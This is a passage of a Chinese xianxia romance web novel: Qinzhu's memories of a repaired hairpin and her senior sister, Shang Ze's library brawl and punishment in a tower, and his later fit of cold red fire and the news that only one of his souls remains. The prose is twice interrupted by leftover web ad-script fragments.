木牌闪光,白气即将与之牵连的刹那,本该在牌子旁安静垂着的黑色长条忽然一颤,叠在了木牌上方,红光刺过,白气一头钻了进去,后与光一同消失。 芩竹一愣,猛然抬头,那供桌上哪还有商则的身影。 神像心口掉出一个碎块,飞速朝芩竹腰间袭来,和那黑色长条合在一处,“叮”的一声,接着又是一阵光芒闪过,有一人在面前显身,却又像被什么东西击中似的砸在供桌前,重重半跪下来。 “商则?”芩竹连忙蹲身去扶他,那人垂着头不说话,只是在她过来时抬臂揽上她的后颈,然后稍稍用力将她按下来,“好沉啊。” “稍微忍忍,我回去找姜绾给——”芩竹的话被打断,商则的另一只手从侧方搂过她的腰,后颈的手施力,把她扣在怀里,头埋在颈侧微微呼吸。 冰冷的呼吸透过衣料打在皮下骨缝里,芩竹不再说话了,任他抱着。 她记得谁说过,有人难受的时候,是该这样做的。 43. 前尘梦 芩竹幼时被捡上山时,是被师父交给叶云沁照顾的。云沁师姐心细又护短,把芩竹养得非常妥帖。 叶云沁听师父说过,芩竹七情六欲浅淡,让她宽心些,别被芩竹惹了气生。 那会叶云沁养妹妹养的好好的,哪里听得了这种话,只说师父是在胡说八道,芩竹乖巧懂事,比那些成天闯祸的笨小子好多了,怎么可能会生她的气? 如此这般过了几年,按芩竹被捡到的日子当作生辰,她及笄那日,叶云沁提前搜罗材质,亲手给芩竹打了个精致漂亮的竹叶簪。 簪子被别的师妹看见都是一脸羡慕,叶云沁也高兴,觉得配芩竹更是好看,满心欢喜地去给芩竹送去,在山上找了一圈,才知道她是被师父叫去谈话,到了晚上才找到那人,结果换来的,是一句硬邦邦的“谢谢”。 叶云沁其实已经记不得那时候的心情了,只觉得难过,犹豫着问她是不是不喜欢。 芩竹摇头,就说,师姐送的我都喜欢。 这句话耳熟,就像今早江云初给她顺手带了块点心问她好不好吃,她说,好吃,师兄亲手拿的……甚至更久。这些话术忽然像潮水一样从叶云沁脑海里浮现,冰冷地浇了她一身。 那股难过变成了压在胸口的无名火,她又耐着性子给芩竹说了好多这簪子的来历,和不易。 对方听得很认真,认真地又道了句谢。 叶云沁静静看了芩竹一会,看见她把那簪子攥进手里,然后疑惑道,为什么还在这里,刚才师父找你有事。 无名火终于窜上脑袋,在芩竹懵懂的眼神里,叶云沁一把拽过她手里的簪子,朝着山崖摔了过去。 那簪上竹叶薄又密,叶云沁低头看了眼掌心,竟被它割出一道翻开肉的血痕。 芩竹不解,瞧了眼飞出去的簪子又见叶云沁的举动,忙伸手要捂那伤口,拉着她往山上的竹舍去,边走边道,要给她包扎。 这话由叶云沁听来很是刺耳,更觉得她不将自己一片真心放在眼里,失望甩开手,头也不回地走了。 十五岁的小芩竹愣愣被留在原地,只知道她的云沁师姐生气了,可为什么,她不知道。 她低头吹了吹手心的划痕,有血珠从指缝掉在地上,她又望了眼扔掉簪子的方向,转身去竹舍去药。 竹叶有刃,簪尖锋利,一根簪子,划烂了两个人的手。 “那时候小,总想着真心换真心,‘我用心做给你的,你就该喜欢’,早便把师父告诫过我的忘去了天边。” “可我也忘了……之前碰到过有人给芩竹送东西,当时她便是反应平平,我以为她是不喜欢,就教了她那样的话术,芩竹也问过我,该不该像其他弟子一般做出惊喜的样子,我那时特别自信,只说凭你心中所想,所做便好……” 叶云沁看着来找她的商则,缓缓道着陈年旧事,话里带着些自嘲,言罢又说:“太蠢了。” 商则趴在桌上,看着叶云沁身边沈潭的佩剑,将脑袋埋进臂弯。 几日前,玄英弟子下山除妖,去时二十余人,来时只剩几人。 叶云沁回山后,又马不停蹄地带着一位长老和更多弟子去那妖的所在,原来的那个山洞,早已重新埋成了一座小山。 挖了许久,幸存三人,其余人尸首都凑不齐。 商则的前半生过的不如意,但他能让和自己碰见的人同样不如意,也算扯了心中的平衡。 但在玄英顶不同,每个人都待他很好,故而他有些接受不了芩竹面对生养她许久的家如此冷漠。 伤养好的第二日,她该如何依旧如何,生活丝毫没有影响。 可他又仔细想了想,是不是只有这样的人才能得道成仙? 一时间死了太多朋友,商则心里乱,又不好对着芩竹发问,这才找了叶云沁。 大师姐心有玲珑,只消一眼就知道他想问什么,商则还未开口,就先给他讲了刚才那个故事。 “后来呢?”商则问,因为看如今的芩竹和云沁师姐,感情也很好,练功下棋是一直的,甚至还躲在一道偷看话本。 叶云沁抿了口茶,笑着说:“我生气走了以后,晚上回山看见她和别的师姐在一块呆着,就更生气了,然后连着好几日没理她。” 商则:啊…… 若要说当时的芩竹,那就是云沁师姐莫名其妙对她发了火,还不理人。 “是不是突然觉得我不可理喻,”叶云沁抚了抚那把佩剑,继续道,“师兄他们都在劝我,让我别和小师妹一般见识,可我那会本就在气头上,听了他们的话,只觉得偏心,凭什么要我先道歉,将他们都赶了出去,然后——” 商则到这会,已经分不出这件事情的对错了,听得云里雾里,下巴搁在手肘上,一点一点凭借着叶云沁的说法,在脑海里描摹着幼时芩竹的样子。 听到她停顿了下,忙催促一句。 叶云沁表情变得柔和,也在回忆那时候的情景。 小院门被自己拍上,平时遇见什么事都冷静自持的大师姐狠狠跺了下脚,愤愤转身,就见旁边的树影中跳下一抹白衣。 看清是谁时她吓了一跳,扭头看了眼旁边林立的山峰,情绪还在别扭,人已经冲上去扶起小芩竹。 “怎么不走大门!多危险啊!”叶云沁扶起芩竹,又去拍她衣摆上的灰。 弯着腰忙忙叨叨的时候,眼前伸来一个盒子,玉嵌鎏金,里面躺着个半点不搭调的清冷竹叶簪,本该光滑一体的簪子多了修补的金环,翠绿的簪身上钻进几条看不清明的血丝。 月光冷冽,照在那金环上,看的叶云沁眼酸。 她忽然想起来自己还在生气。 芩竹观察着叶云沁的表情,将手里的东西向前送了送,说:“师兄说,你这两日生气,让我不要来找你,可昨日又说,你这两日生气,叫我来找你。” 叶云沁嘴角没忍住抽了抽,这究竟是些什么人啊。 “有些叶子掉到崖底我没法找,就只能修成这样,时间太长,我修完赶过来时,你在和师兄吵架,门锁了我也没法进来,就只能从那边走。” 芩竹说着,抬手还给她指了指来时的路线。 很迷惑,很好笑。 叶云沁把簪子接过来,没有说话,好好合上了,默默抱上芩竹。 “怎么了?”芩竹疑惑,扶着叶云沁想看看她怎么忽然哭了,就听她师姐不容置喙道,“不许动,难过抱抱你,你不能拒绝我。” 是这样啊。芩竹选择同意。 …… “芩竹,问你个事,”这是商则从叶云沁那里回来后碰到芩竹说的第一句话,芩竹也知道他从哪来的,于是放下手里的书,看着他说,“你问。” 商则清清嗓子,趴在桌上,上半身快滑到桌对面,胸膛直直抵上芩竹正立起来的书本,芩竹垂眸收起来,对上那双眼睛,听见他神秘兮兮地道:“你知道开心是什么样的吗?” 芩竹放下的书又重新举起来,之前商则没了书的抵挡,又向前蹭了蹭,结果这下芩竹的书页直接戳在了他的下巴。 商则揉着下巴缩回一截身子,看见芩竹拿着那书点了点不远处打闹的弟子们——那几人笑得压抑又放肆。 他们现在玄英顶的藏书阁,芩竹坐在大窗旁,每个桌子可以对坐两人,不远那处位于中间,大桌上能坐许多人,此刻正有四五个围在一起不知道说些什么开心事。 藏书阁本就安静,他们这窸窸窣窣的声音在这样的环境里更如苍蝇爬似的恼人,有不少人纷纷侧目。 商则扭头瞧无事发生继续看书的芩竹,起身走了过去。 芩竹余光看见他的动作,忙抬起头来,之前师姐说让她领着商则不要惹事,但他在她面前很乖,这会就也没有上前,只是看着。 那人的身姿格外瞩目,其原因和他穿的那一身红衣有很大关系,还有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他去的地方。 桌上几人还在笑,商则冷着脸走过去,极快地抽走了其中一人用来挡脸的书,拍拍他的肩膀,那几人看见有外人来,顿时表示闭嘴。 商则还是没动,冷笑一声,食指点点面前这人颤抖的肩头,怎么看都像是忍不住啊。 他朝门口的方向扬了扬下巴,意思很明显,想让这些弟子出去。 那几人便都不愿意了,有一个直接变脸站起来。 商则还是那板正的站姿,将书丢在桌子中间,口型无声道:要打架啊?然后微微侧身,刚好露出来窗边侧目看热闹的芩竹。 芩竹面无表情和那人对视,还是正疑惑的时候,看见那伙人嘴上说着什么忽然就要离开了,也没有多想,以为事情解决,便重新低下头,然而刚看进去没一个字,耳边猛地一声巨响,还传来几道骂声。 闯祸了…… 中间桌子被砸成了两半,几个人扭打在一起,一叠浅色下面埋着一角红衣,似乎又不太像是互殴,仔细看后,就像是几个弟子正在努力拉架。 芩竹快步过去想把人拉开,开始还有人嫌她碍事,看清楚是谁后赶紧让出位置,这一下便清楚多了,是商则逮着一个弟子在揍,两人很难说谁比谁惨。 “住手。” 商则举起的拳头在距离那人鼻梁的位置堪堪停下,而那人见状,倒觉得时机正好,快速挥拳过去,商则收手时已无法再避,正想着挨了这一拳,肩头就被人用力按住向后一扯,转眼看去,是芩竹的侧脸。 挥来的拳被她扣住反拧,向前一推,对面那人身子失衡后仰,躺在了地上。 芩竹把商则拉起来,看着这一片的狼藉,招来躲在书柜后的小童,吩咐了几句又看回来:“谁先动的手?” “我。”商则开口。 “原因呢?” “他……”又不说了。 地上那个被人搀扶起来的弟子冷哼一声,刚要说什么,又被芩竹打断:“你们是哪个长老的弟子,师兄师姐是谁。” 那几人不说话,皆是一脸不屑地坐在破破烂烂的椅子上。 商则看着他们这样更是恼火,冷声道:“问你们话呢,聋了?”说着跨步欲上前,被芩竹手快拦下来,而那几人下意识做出防护的动作见状,又讪讪放下。 “可……”商则刚要说话,见芩竹双手捏出个漂亮的诀,几道浅光飞去那几人身上,就看他们腾地站了起来,也顾不上疼得呲牙咧嘴,径直向外走去。 芩竹跟上,路过小童时说:“麻烦了,改日向阁主赔罪。”小童回以一礼。 前面几个直挺挺走路的人还在骂骂咧咧,商则警告的举动还没出来,又不知芩竹的手势如何变,几人只见张口不听声音,接着听见一道口哨,便有一只巨鹤凌空而来,将几人带在背上。 要去什么地方大家心知肚明,向下一望就知道是往主峰大殿的位置,那几人也不说话了,蔫吧坐着。 芩竹这会才看了看商则。 这小子上山没一年,打不过一群就抓着一个往死打,虽说自己也是青一块紫一块。 可能是终于想起了自己久不曾见的脸面,商则难得的眺望远方避开芩竹的视线,可她不给面子,捏着下巴将人掰过来,对视时,那人懊恼地垂下眼。 “流鼻血了。”她说。 “他也流了,不只是鼻血。”商则指着前面一个同门,企图让芩竹转移注意力,说完又后悔,向那弟子丢过去一个眼刀。 那弟子也心有不甘,见商则如此嚣张,也是直直和他对上,两人不服地互瞪。 芩竹看见了,风轻云淡向下瞥了眼,说:“快到了,刚好二长老在。”那弟子登时收回眼神,跟着向下望去。 商则见状,轻嗤一声勾起嘴角,余光看见芩竹在看他,于是也看过去,听见她问:“开心?” 商则抿了抿嘴,眼睛弯弯看向别处,也没有回答这个问题。 44. 前尘梦 到底没有就开不开心这个问题探讨许久,芩竹就把他们一起领到大殿里,由那群年龄大的解决问题。 商则之前那个没有说出口的原因也被公布。 只因为这人说了云初师兄的不是。 大概是要被人赶出去不太高兴,而芩竹他又打不过,只能换条路戳人心窝,说完他也觉得不妥,毕竟江云初对其他弟子也很好,但在气头上的人哪能在乎这个,况且说完紧跟着商则的拳头也来了,更没有时间反思,光顾着打架了。 老家伙们听完过程,笑呵呵大手一挥,将人全都丢去了后山。 后山幽静,有不同的地方供弟子修炼,还有个困在大湖中心的阁楼,九层高,专门让犯错弟子来修身养性,闭墙思过。 这夜,楼顶罚跪思过的有两个,楼下打扫抄经的有五个。 月光从窗外打进来,芩竹揉了揉眉心,困意逐渐袭来,脑袋一点一点就要睡去。 商则一直关注着她,抿了抿唇,小心翼翼先想移过去些,然膝盖刚一挪动,浑身骨头就像错位似的疼,一下子弓着背撑在地上。 芩竹被吵醒,眼都懒得睁,说:“从上午到现在第十次了,再动,等明日该是背着你出去。” 商则额头抵着地面,无奈地合上眼,闷闷不乐道:“对不起,你都不能睡觉。” “都有错,不然我也不会在这。”芩竹依旧在闭目养神。 楼顶一阵寂静后,商则直起身,对着空荡荡的一面墙发牢骚:“你说,要是能对着背后该多好,那么大的空窗,咱们还能一起赏月——” 话音戛然而止,商则闷哼一声砸了下地板,捂着心口忍住想要打滚的动作,缩成一团直喘气。 “十一次了。” 芩竹眼睛睁开一条缝,看着旁边一朵红蘑菇。 这蘑菇消停没一会,又开始说话,继续问她一些乱七八糟的问题:“早上那话我没说完——你说的那个不算。” 什么不算?她想了些,觉得商则说的是评判开不开心的标准错了。于是她问:“那你说。” 商则在地上蜷着身子,扭过脑袋把脸面向她,膝盖坚决不挪动一点,笑着道:“你开心,那心就会像花瓣绽放,感受畅快……笑的话,我生气也能笑,难过也能笑,杀——咳,反正你感受一下。” 他类比的话在半路卡壳,芩竹也没有探究,细细品味他说的那话,没懂,缓缓道:“你教的有问题。” “不能够啊,”商则挑眉,又挪了挪身子小声道:“或者你看啊,我‘喜欢’你,我看见你跟着你就开心,你有没有喜欢的东西或者……人?” 芩竹看他眼睛滴溜溜地转,就知道他心里捉摸着事,盯着他的幽幽道:“人嘛——有。” 商则眉头向下压了压,猛地惊叹道:“人?!”不光口头,还猛地直起身,结果这动作太大,膝盖移动,身上禁制被触发,又是一阵痛楚划过全身。 “——还是没有?”芩竹慢悠悠接上刚才的话。 “啊……” 商则艰难抬眼,疼得那声都变了调,得知芩竹是在耍他后好气又好笑,喘息道:“别人捉弄都是为了看那人出丑,觉得好玩,你是为了什么啊?” 他揉了揉心口,转过身看她,扯了扯芩竹的衣摆,好奇道:“什么感觉?” 怎么这时候要问她什么感觉。 芩竹认认真真回忆了下事情发生的经过,身子前倾,做出一副耳语状,商则不明所以,侧过耳,耳尖的发丝轻轻摆过,就像有人抬指勾起那缕发,他没忍住偏偏脑袋想去看,微一扭头,就是芩竹近在咫尺的脸。 他看见那人嘴唇一开一合,好像说了什么,耳边却只有雷声般的心跳,喉结上下滚动一圈,商则的睫毛快速眨着将视线放在芩竹眼睛,表情逐渐变得冷硬凝固。 芩竹看见他这一系列表情,忍不住想了她刚才说的话,也没什么,怎么就这样了,退开时看他还在愣神,于是习惯性地上手揉了揉眼前手感很好的头发。 那人一下子回过神,在芩竹空白的表情下,直接站起来了。 下一瞬开始在地上打滚。 就在商则快疼死的时候,他才突然想起来刚才芩竹说的话,那人没有按照自己问的答,而是说,好看。什么好看,好看什么?他?耍他很好看! 商则觉得自己还是不要起来了。疼着吧。 过了许久,等楼下的人都开始受不了商则的嚎叫时,这家伙终于冷静下来,还给自己找了个绝佳的位置——跪在了芩竹身边不到半臂的距离。 “没事吧?”芩竹瞌睡彻底没了,伸了个懒腰也开始考虑该不该换个能赏月的位置。 “还是有点的,好疼啊,”商则气若游丝,胡言乱语,“你说都是师父,怎么我师父陪我一起跪,你师父还要这么罚咱们。” 芩竹:…… 外面正在看着楼里的长老们:…… 她瞅了眼上半身歪歪扭扭的人,手背在他额头贴着感受了温度,确定不是发烧了之后,说:“你要实在无聊,给你找本剑谱看?” 商则摇头:“我和你呆着不无聊,但你要看的话,我给你取来?” 芩竹眼神放在他膝盖上,意思是,你还要起来? 后者不说话了,在她身边乖乖缩着,过了好一会才开口,先叫了她的名字,等她回应了才开始说:“你有没有兴趣去认识这些感情……” “开心,伤心?”芩竹淡淡回想着她之前见到的人,或笑或哭的样子。 “不是,如果可以,我只想让你知道快乐的情绪。”商则说,语气变沉,没有刚刚那般活跃。 芩竹深吸一口气,再吐出来,看着面前那面什么都没有的墙,不知在想些什么。就在商则以为她不会同意的时候,她轻飘飘的答应了。 “你做的饭菜好吃,那人间百味,我也去尝尝。” 商则眼睛一眨不眨地看着她,瞳孔里映出一个小小的白色身影,眨了下,眼神骤然变暗,半晌扯出一个笑:“百味不好,就和那混汤药一样,喝得人窝心。”他突然后悔了。 看商则的神情就知道有些勉强,芩竹知道自己的情况,以为是他觉得任重道远,又念着自己这半个师父的身份,自以为善解人意地给他分忧:“我这般说,你只消听一耳朵,可谁知道结果呢,说不定等你我死了,我还连一味都尝不出来。” 商则立刻眉眼飞舞,整个人又活泛起来,“呸呸呸”两声,随意揭过这个话题,给她有一搭没一搭地说着自己遇到过的民间趣事,芩竹就听着酝酿睡意。 正听着,潺潺流水一样的话语声中夹杂了道脚步声,芩竹睁开眼,见到原本在楼下打扫卫生的两个弟子上来,手里还提了个小盒。 毕竟是有打过架的缘分,那两位弟子上来就没有好脸色,商则也是,闭了嘴直勾勾盯着他们走来,那双眼和刺一样将对方盯得瘆得慌,那两人别开眼不去和他对视,近前来皱着眉头开口:“今日中秋,师父命人带来的。” 说罢放下东西推搡着快步跑掉。 商则看着那放在五步之外的食盒,伸长手都拿不到,成功气笑出来,又想到后面的人,准备撑着地面起身,就见那食盒在地上左右挪动两下,忽然飞到了他怀里。 芩竹从商则手里接过那盒子,打开取出个月饼吃着,抬手挥袖,眼前那面墙上浮现一面水镜,占满整个墙面,映照出身后那夜圆月星辰。 “厉害!”商则捧着月饼啃下一口,又道,“你等着,我去给你找酒来。” 说完也不等芩竹拦下他,起身朝着小楼梯去,接着芩竹便听到下方传来的一阵踢里哐啷,过了一会那人便抱着个东西跑了上来。 芩竹看着他呲牙咧嘴滑跪过来,不知是否有意,一下子撞到自己身边,看着动作迅猛,实际也只是堪堪蹭到肩侧。 足够让芩竹上半身歪一点,又不至于歪了膝盖受罚。 她手忙脚乱接来商则塞到她怀里的小酒坛,再去看那人,缩着不动了。 估计是疼得受不了。 芩竹也不浪费商则费劲得来的酒,抱着喝了一口,赏墙面上的月亮。 “好喝吗?”商则缓够了,抬起头来抽着气问她。 她把坛子还回去,让他自己尝,又道:“你是闻到他们身上有酒味了?” 商则摇头,喝了一大口酒长叹一声,凑到芩竹面前扫了眼她面前的月饼眨眨眼,芩竹和她对视,默默将盒子朝前推了些。 “我还以为你能喂我一个。”商则小声且清晰,目的就是让芩竹听见。 芩竹纳闷:“腿不能动,手可以啊。” “可我拿着这个啊。”商则把怀里的酒坛子举起来晃了晃,芩竹缓缓点头,把坛子拿走自己喝着去了。 商则笑,自顾自吃着月饼,回答芩竹之前的问题:“其实是我昨日看见云沁师姐她们端了从主殿领来的酒水和吃食,和咱们拿到的一样。” “这样啊……” 映着圆月水镜的另一边,是主殿顶端的露天平台。 长老围着平台上面的小桌,吃喝赏月,他们身旁,是两面水镜,一面中,几个弟子笑闹着吃喝,另一面则是安静许多,两个人跪在一处看着对面的墙壁。 长老中的一位穿着花哨的指着那面水镜,说道:“他俩何时这般规矩了?” 立刻有另一位长老接话:“你来的晚喽……”他 将商则做的事和芩竹把水镜用来赏月的事讲了,之前问话的长老立刻笑了,拍着身侧那个一直微笑不语的长老。 这位长老相比其他长老面相年轻,却是一头白发,和那一身白衣搭配起来,真似谪仙,开口亦是,音色飘然,听了沁人心脾:“孩子还小,正是玩闹的时候。” “呦!小芩竹怎的能用玩闹这词相配呢,还不是商则带的。”立马有人打趣道。 “就是啊,”最开始说话的长老笑得不怀好意,手上一施法,说道,“好歹是受罚,怎能如此舒坦。” 他清了清嗓子,朝水镜道:“禁制已解,安心过夜。”说完朝旁边几个不明所以的长老眨眨眼,就看那水镜中忽然弥漫上一层暗色。 后山的那栋楼里,楼上楼下几个人正陷入诡异地沉默。 商则叼着饼半天没咬下去,愣愣看了眼芩竹,道:“长老说的是真的?不是说要在这跪两日吗?” 芩竹摇摇头,听完那句话就想起身去旁边榻上睡觉,被商则按住。 芩竹:? 那人皱了皱眉,自己先试探着起身,确定没事了之后才去拉芩竹。 芩竹板着脸站起来,被商则扶着直挺挺挪到榻边,伸了个懒腰:“我睡了,你也休息吧。” 商则在塌边的小台上坐着,看她躺下才说:“我一会睡,给你揉揉腿。” 芩竹早就听不清他在说什么,沾床就犯困,枕头一贴差不多就睡着了。迷迷糊糊间,觉得小腿轻松不少,便更加舒坦,朝着深睡而去。 不知过了多久,腿上的动作轻了,她翻了个身,迷瞪睁了眼,看见商则正不远不近地看着她。 殿内点灯较少,大半都在商则背后,只一侧微光打下,把他的脸分成明暗两面,影影绰绰的,她想不了那么多,只觉得他的眼睛很亮,像是笑着。 然后发顶的玉簪被小心抽走,一个硌着她难受的东西也没了,鬓边被人轻轻摩挲两下,有人微笑耳语:“睡吧。” 芩竹一般情况下是很听人话的,尤其是这种表达意思明确且和自身意愿相同的。她一下子便听话睡了过去。 又是许久,她突然听到了一点不寻常的动静,像是桌凳摩擦过地面,然后是些许凌乱的脚步声,还有嗡嗡细语。 她立刻睁眼坐了起来,原本在身边的商则不见了,地上的食盒酒坛却被好好的放在一边。 眼睛睁开,耳朵就像是更加清明,楼梯口传来的声音明显,好像什么东西猛地撞击,发出巨大的声响。 芩竹迅速翻身下床,绕着小楼梯下去,却见书架桌椅凌乱地堆在楼梯口,只留下一个窄缝,她攀着这条缝向外面看去,书本散了满地,只一个孤零零的坛子在从高处砸下来,骨碌碌滚到看不见的地方去。 亦是一个人都没有。 楼高九层,她能依稀听见那伙人的动静,大概是在争斗,应当是在最下面一层。 这层楼是这样的光景,说不定向下几层都被堵了口,她也不妄想着踹开挡住她出路的一堆东西,反身回了顶楼,抓着栏杆从露台的地方跃至下一层。 以此类推向下五层,忽然听到下层的大喊声:“你冷静点!” 这声音她记得, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是之前来送月饼的那个弟子,而这声过后,又是嘈杂的撞击声。 芩竹有种不太好的预感,想要跃下时,就看下层突然飞出一道人影,伴着一声闷哼,她来不及多想,抓着栏杆翻下去,一脚将这人影踹了回去。 那人得这一脚就地滚了一圈,起身时刚好见芩竹也跳下来,捂着胸口就骂:“师姐!他,他疯了!” 不用他说,芩竹一下来就看见了。 被几个弟子围困着的人,红衣燃火,眼中发梢皆是红色的火苗,可周边却感受不到一丝热意,尽是阴森的寒气。 “刚刚还一同御敌,现在就成了这样,像是失了心智。”这小弟子边咳边说。 芩竹那会睡得死沉,御的哪门子敌都不知道,心想也是那群长老没事干惹出的事就没怎么管,现下这难道也是? 她快步上前,看着身边那几个弟子。 这里似乎被他们架起了一个小的驱魔阵。 “可算醒了,他怎么回事?之前也有过这般情况?”最初和商则打得最凶的那人说。 “没有。”芩竹说。 小阵中的商则眼无焦距,像是陷入了什么迷障,抓着一截断裂的烛台,手中的冷火顺着整个木杆燃烧着,周围也或多或少烧了不少东西。 维持法阵的一个弟子说:“好不容易困住他,可这阵法为何感觉没有作用呢?” 商则身上的阴冷丝毫没有减退,这弟子话音落下,那寒气更甚,阵法的浅光被当中他身上乱窜的红火撞击数次,最后一次直接震开了困住他的淡光。 持阵的几个弟子被弹开,就近一个芩竹顺手接了下,那人大概耗力太多,被她接住便撑不住了,缓缓滑坐下来,芩竹看着这满室狼藉,想将手边的弟子扶去墙边,余光却忽地感觉一个身影极快地向来移动。 她下意识抬手去挡,小臂顿时如入冰窟,接着整个胳膊都开始僵硬,抬眼望去,手臂被商则紧紧扣着,那人指缝中的冷火就像是无数条小虫,争先恐后地往她皮肤里钻,冷得渗人。 手边的弟子见状,连忙道:“小心,不能看他的眼睛!” 他说的迟了,芩竹一直盯着的就是这人的眼睛。 但什么也没发生,商则好像不认识她一样,一双眼漠然着瞧过来,手上用力,像是要把芩竹的手捏断。 芩竹没什么表情,施力将商则挣开,那人似乎挑了挑眉,继续一掌袭来,被她曲手卸去力道,快速掐了清心诀在他眉心一点。 那人额头似有涟漪荡开,眼中火苗熄灭一瞬,下一刻燃得更加旺盛。 芩竹侧身避开商则挥来的拳,向后撤去数步躲开他身上爆出的冷火,指尖运起浅光后蹬上前,双手结印撑出一道光墙压着那愈演愈烈的火近了商则的身,矮身躲过他毫无章法的拳,溜去身后,手刀带风一下劈在他后颈。 只听一声闷哼,商则身子晃动两下双手无力的垂落在身侧,身上的火苗逐渐熄灭,整个人向后倒去。 芩竹撑着他想接住,可奈何这人块头太大,只好顺着他蹲在地上,揽着上半身,垂眸看去,好像有条红丝从他眉心飞出一截,不见了。 也不知道长老们在干什么,竟然到现在还没有人发现这件事。 她看了看不远处瘫成几滩的弟子们,吹了声口哨唤来巨鹤,对他们道:“你们回去疗伤,等长老安排。”说罢带着商则登鹤去了主殿。 果不其然,还未到时便在半空看见了那边顶层的幽幽灯火,几个长老不知在聊些什么。 芩竹直接骑着鹤降在了顶层,她特意避开上面摆着的酒水,只停在旁边的位置,回眸和几脸莫名对视。 那位穿着花哨的长老看看她又看看后面的水镜,指着她道:“嘿!小芩竹,别以为我真不敢罚你,还敢偷跑?” 芩竹顺着那位的眼神也看向水镜,镜中正是自己罚跪的第九层,除了她和商则跑了之外未见异常,但另一面被扔到角落的水镜就不一样了,里面的混乱只消看一眼就知道,奈何这些人将它忘在了一边。 她跳下来,向他们行了一礼,走到说话的那位长老身后将另一面水镜拉到他们面前,再返回去,把躺在鹤背上的商则拽下来。 长老中那个白发年轻人见状,上前将商则扶住,皱眉问道:“怎么回事?” “师父,”芩竹问了声好,回答,“不清楚,听其他弟子说,之前共同御敌时还好好的,不一会就成了这样。” 她看向那面正在返回后退光阴的水镜,里面的景象像是商则和其他弟子在对付几条墨迹样貌的东西,这应该就是他们所说的“敌”。 “那是什么?” “杀伤力很低的阴气,一般是给弟子试炼用的,大长老用来捉弄人的。”被芩竹叫做师父的人说。 “什么叫捉弄人,明夷,别让徒儿误会了我……”大长老弱弱道。 芩竹对他们无聊找乐子的生活不感兴趣,问了明夷师父商则的情况,对方也不太清楚,于是两人又回了山头,看着师父将商则带进了房里。 房间是平时师父修炼的地方,不能所以入内,她也只能先回了自己的小院等消息。 这一等就是三日,第三日,是“消息”自己跑来告诉她的。 商则看上去没什么大碍,活奔乱跳过来说自己没事,还说明夷叫她有事。 芩竹站在台阶上,刚好够和商则一般高,听了他的话端着认真的神情凑近对着商则的瞳孔额头仔仔细细观察了一番,的确不再有可疑的红之后,点点头走了,留着商则奇怪揉着自己的脑门。 很快去找了明夷,那人却没有告诉她商则具体的情况,如何恢复的也只字不提,只是面色颇有些严肃地给她说了件事。 “商则这孩子,像是只有一魂在世啊。” 明夷算到了商则其他魂魄被困在了别的地方,如果不找回来融合的话,恐怕活不过十八,也就是明年。 “他知道吗?”芩竹问。 “知道。” 缓慢沉重的声音和清润的少年音色混在一起,后者逐渐将前者盖去,响在芩竹耳边,还伴着“哒哒哒”的奇怪声响。 好像是……拨浪鼓? 芩竹睫毛颤了颤,睁开眼睛,入眼就是床边那抹红衣,见她醒来,对着她神情恹恹地晃了晃拨浪鼓:“你醒了。” 45. 道别离 峡州的诅咒似是被人解了,“疫病”消失,那些无故昏睡的人渐渐苏醒,李家不知从哪听来了丹水村得病未曾上报的事,在城中彻查三日,得知拦下消息的那小官早已畏罪自杀,几件事下来,石方县终于消停下来。 商则心口那几道红线丝由姜绾经手,找出了佩戴黑珠子的人在哪,锦书派人找了三日,也将那些人手上的绳子摘下来就地烧了,如今乐呵呵的没事人一样,今早还赶了躺集市。 现在从厨房回来,左手一个拨浪鼓,面前摆着一叠油纸包的烧饼,坐在芩竹床边百无聊赖地干瞪眼,隔一段时间晃一下手。 哒哒哒…… 麦子从床边路过时见到他,拖长声音喊了声吃饭,商则眼都没抬,拉着同样的语调回她:“知道——” 再摇两下手腕,床上的人稍微动了动身子,他斜眼瞟过去,和那迷茫的眼对上,说:“你醒了?” 李家不愧是高门世家,炭火烧的够旺,芩竹梦醒时,竟感觉自己颈侧出了一层薄汗。不知是不是因为醒的太过突兀,梦中的情形还未褪去,给她留下了个模糊的尾巴。 那两句不知是和谁的对话在她耳边挥之不去,是说商则活不过十八的言论。 因此芩竹醒后,迷糊时还在愣愣瞪着商则,认真看着他的样貌,好吧,仅凭相貌她分不太出来商则具体的年岁,但有一点可以确定,这孩子不论如何,反正此刻不是活人。 “怎么?是不是想问我芳龄几许?”商则拿着拨浪鼓靠近芩竹的脸,使劲遥出声音,把那床上醒神的人晃得瞳孔一缩,像是要一把掀了被子,又生生止住,慢悠按下那躁动的玩具和……手。 “那会想问,这阵不想问了。”芩竹拍了他的手,伸手卷过被子侧躺着闭上眼,含糊道,“你怎么又来了,不吃饭吗?” 倒不是芩竹嫌弃他,而是这三日来,最初商则因为那些红线丝几条人命压在身上总是喊难受,说什么都要和她黏在一起,每日清早起来都是商则坐在窗边的样子,芩竹虽然不理解为什么难受和她在一块就会缓解,但也接受。 可今日是怎么回事,不是都没事了吗? 商则知道她说的什么,手镯撑着膝盖神情认真地旋那拨浪鼓的棍子,笑道:“一夜不见如隔三秋,我离开你就难受的要死。” 芩竹被迫听他的鬼话,刚想说点什么,竟然奇迹般的又回忆起了梦中一些景象,好像那时候这货说话就奇奇怪怪,刚想说什么也被这点回想打断,记不起来了,于是作罢,闭着眼和他说话:“那你呆着,我继续睡。” “还睡?”商则笑意退了些,拧眉看着她,抬手拭上她额头,又迟疑拿开,张了张口看过去,那人合着眼呼吸正平稳。 他眉头皱得更紧,凑过去轻声叫了两下,芩竹才重新把眼睛睁开条缝,略带疑惑地看过来。 “你刚才又睡着了。”商则的语气带着担忧,不等芩竹辩驳继续道,“你从前喜欢睡觉但时间也正常,可这两日怎么困成这样?” 芩竹打了个哈欠,静静听他说完也有这个感觉,有种眼睛一闭就能睡过去的感觉。 经人提醒后的确觉得不太妙,芩竹也不睡了,从被窝里坐起来,拿过商则的拨浪鼓慢慢摇着。 那人还在看她,像是要把她这一奇怪的反应从脸上盯出来似的。 芩竹被他看着也还是那副冷淡的样子,掀起眼皮随意瞧过去,抻了抻肩膀问:“这位公子如今年岁几何?” 商则愣了下,扬起眉头直了直身子,向她眨了眨眼:“之前不是不问了吗,怎么又忍不住了?” “我以为你很期待我的问题,”芩竹安静欣赏完他这一系列表情后,掀开被子想要下床,“不想说就不说了。” 她的手被忽地按下,商则略带笑意地急切道:“唉唉,没这么说,我今年……算算日子,快二十一了。” 